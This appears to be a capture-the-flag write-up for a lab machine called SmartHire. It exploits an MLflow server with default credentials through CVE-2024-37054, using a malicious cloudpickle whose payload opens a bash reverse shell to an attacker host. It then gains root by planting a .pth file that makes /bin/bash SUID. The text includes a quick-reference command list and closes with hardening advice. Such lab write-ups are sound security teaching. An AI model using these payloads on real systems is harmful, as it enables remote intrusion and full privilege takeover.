← Back to posts
SmartHire is an MLOps box, and both halves punish trusting inputs you shouldn't. A vhost scan turns up a models. subdomain running MLflow 2.14.1 with the default admin:password. From there, CVE-2024-37054 weaponises MLflow's own model format: models are stored as Python pickles, so you register a model, overwrite its python_model.pkl with a malicious cloudpickle, and the moment the app runs a prediction the pickle deserialises and executes — a shell as svcweb. Root is a smaller, sharper trap: svcweb can sudo a root-run management script, and the plugins directory that script loads is group-writable. Drop a .pth file there and Python runs it as root at interpreter startup, before the script does anything at all.
vhost: models.smarthire.htb
→
MLflow default creds
→
CVE-2024-37054 pickle RCE
→
svcweb
→
sudo mlflowctl.py + writable plugins/dev
→
.pth → root
Reconnaissance
SSH and an nginx front end. The web root redirects to smarthire.htb — a hiring-portal app — so the interesting surface is likely elsewhere on the vhost.
nmap
$ nmap -p- --min-rate 1600 -sVC -Pn --open <TARGET>
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open http nginx 1.18.0 (Ubuntu) (→ smarthire.htb)
Fuzz for vhosts. A models. subdomain shows up — and a quick look says it's MLflow, the model-registry/experiment-tracking server.
vhost fuzzing
$ ffuf -u http://smarthire.htb/ -H "Host: FUZZ.smarthire.htb" \
-w subdomains-top1million-20000.txt -t 160 -fc 302
models [Status: 200]
$ curl -s http://models.smarthire.htb/ -o /dev/null -w '%{http_code}\n'
401 # HTTP basic auth in front of MLflow
Foothold — MLflow default creds → CVE-2024-37054
The basic-auth prompt folds instantly to admin:password, and the API confirms MLflow 2.14.1. That version is vulnerable to CVE-2024-37054, a deserialization RCE. The root cause is structural: MLflow persists pyfunc models as Python pickles (python_model.pkl), and loading a model unpickles that file. Anyone who can write a model's artifacts can therefore choose what code runs when the model is loaded.
MLflow — default creds
$ curl -s -u admin:password \
'http://models.smarthire.htb/ajax-api/2.0/mlflow/registered-models/search'
200 OK # authenticated to MLflow 2.14.1
The SmartHire app itself is the delivery vehicle. jimmexploit's PoC automates the whole loop: register an account on smarthire.htb, upload a CSV to train a model (which creates a registered model + run in MLflow), then PUT a malicious python_model.pkl over the trained one and hit the app's /predict so the poisoned model is loaded. The payload is a cloudpickle object whose __reduce__ returns os.system(<reverse shell>):
the payload (cloudpickle __reduce__)
cmd = "bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"
class Exploit:
def __reduce__(self):
return (os.system, (cmd,)) # runs on unpickle
pkl = cloudpickle.dumps(Exploit()) # PUT as model/python_model.pkl
CVE-2024-37054 → shell
$ python3 shell.py --lhost <LHOST> --lport 4444 --atoz
[+] Registration successful! [+] Login successful!
[+] Model name: ...-model [+] run_id: 7ccc3540...
[+] Payload size: 89 bytes [+] Upload successful!
[*] Triggering /predict to execute payload...
[*] Response: 500 {"message":"'int' object has no attribute 'load_context'"}
That 500 looks like a failure but it's the tell that it worked: the pickle is deserialised before MLflow tries to use it as a model, so os.system fires during unpickling and the reverse shell is already live — MLflow only errors afterwards, when it finds our object isn't a real model. Ignore the 500 and check your listener.
Shell as svcweb, and the user flag is right there. Worth noting the group memberships — they matter for root:
svcweb → user.txt
svcweb@smarthire:~$ id
uid=1000(svcweb) gid=1000(svcweb) groups=1000(svcweb),1001(mlflowweb),1002(devs)
svcweb@smarthire:~$ cat ~/user.txt
[redacted — user flag]
Root — a .pth file in a writable plugins dir
sudo -l shows one rule, and it's a wildcard on a root-run Python script:
sudo -l
$ sudo -l
User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
The obvious move is argument injection through that *, but the cleaner path is the script's plugin loader. mlflowctl.py registers its plugin directory as a site directory (site.addsitedir('/opt/tools/mlflow_ctl/plugins/dev')), and — crucially — that directory is group-writable by devs, which svcweb is in:
the writable plugin dir
$ ls -la /opt/tools/mlflow_ctl/plugins/dev/
drwxrwxr-x 2 root devs 4096 .
Here's the trick. When Python processes a site directory, it reads every .pth file in it — and any line beginning with import is executed as code, at interpreter startup, before main() runs. So a one-line .pth dropped by svcweb runs as root the instant the sudo'd python3.10 starts up:
.pth hijack → SUID bash → root
$ echo 'import os; os.system("chmod +s /bin/bash")' \
> /opt/tools/mlflow_ctl/plugins/dev/pwn.pth
$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
[+] MLflow service status: active # .pth already ran as root
$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1396520 /bin/bash
$ /bin/bash -p -c 'id; cat /root/root.txt'
uid=1000(svcweb) euid=0(root) groups=0(root),1000(svcweb),...
[redacted — root flag]
Two ingredients had to line up: a NOPASSWD sudo rule on an interpreter, and a plugin directory that trusts group members to write code into a root process. Either alone is survivable; together they're a one-line root. If a program must run privileged, nothing on its import/site path — plugins included — should be writable by a less-trusted group, and sudo should point at a fixed, locked-down entry point, never an interpreter with a wildcard.
Why it worked
| → svcweb | MLflow exposed with default admin:password + models stored as pickles → CVE-2024-37054 deserialization RCE (CWE-502 / CWE-1188) |
| → root | NOPASSWD sudo on python3.10 <script> whose site.addsitedir plugin dir is group-writable; Python executes .pth import lines at startup (CWE-426 / CWE-732) |
Key commands
quick reference
# 1. recon → MLflow vhost
ffuf -u http://smarthire.htb/ -H "Host: FUZZ.smarthire.htb" -w subdomains-20000.txt -fc 302
curl -su admin:password http://models.smarthire.htb/ajax-api/2.0/mlflow/registered-models/search
# 2. CVE-2024-37054 pickle RCE → svcweb (user.txt)
python3 shell.py --lhost <LHOST> --lport 4444 --atoz # register + train + poison + /predict
nc -lvnp 4444 # catch the shell
# 3. .pth path hijack → root (root.txt)
echo 'import os; os.system("chmod +s /bin/bash")' > /opt/tools/mlflow_ctl/plugins/dev/pwn.pth
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
/bin/bash -p -c 'cat /root/root.txt'